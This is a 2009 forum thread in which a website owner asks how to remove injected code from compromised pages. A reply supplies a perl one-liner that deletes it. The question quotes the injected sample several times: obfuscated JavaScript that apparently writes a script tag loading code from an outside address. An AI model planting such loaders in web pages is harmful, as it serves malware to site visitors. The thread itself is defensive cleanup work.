find and replace three lines in files?

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04-26-2009

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find and replace three lines in files?

Hello,
i usually use this for one tag or line:

Code:

find . -type f -exec replace "whatever goes here" "" -- {} \;

but i want to replace three lines in a file for example this:

Code:

<script language=javascript>< 
document.write(unescape('sdfdsfdsa%fasfdsaf%sadfsad7%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 ></script>

someone hijacked all files in a website and need to replace this with emplty

the actual lines are:

Code:

some code goes here <script language=javascript><!-- 
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>

but iwant to replace only:

Code:

<script language=javascript><!-- 
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script>

Bashar

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04-26-2009

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You can use "perl pie" to perform inline substitutions of multiline patterns in your files.

Suppose the files that you want to fix are: js1.txt, js2.txt js3.txt

Code:

$
$ cat js1.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js2.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js3.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$

The perl command to replace those substrings is as follows:

Code:

$
$ perl -pi -e 'BEGIN {$/="";} {s/<script language=javascript>.*<\/script>/\n/msg;}' js?.txt
$
$ cat js1.txt
some code goes here
<body>
$
$ cat js2.txt
some code goes here
<body>
$
$ cat js3.txt
some code goes here
<body>
$
$

Hope that helps,
tyler_durden

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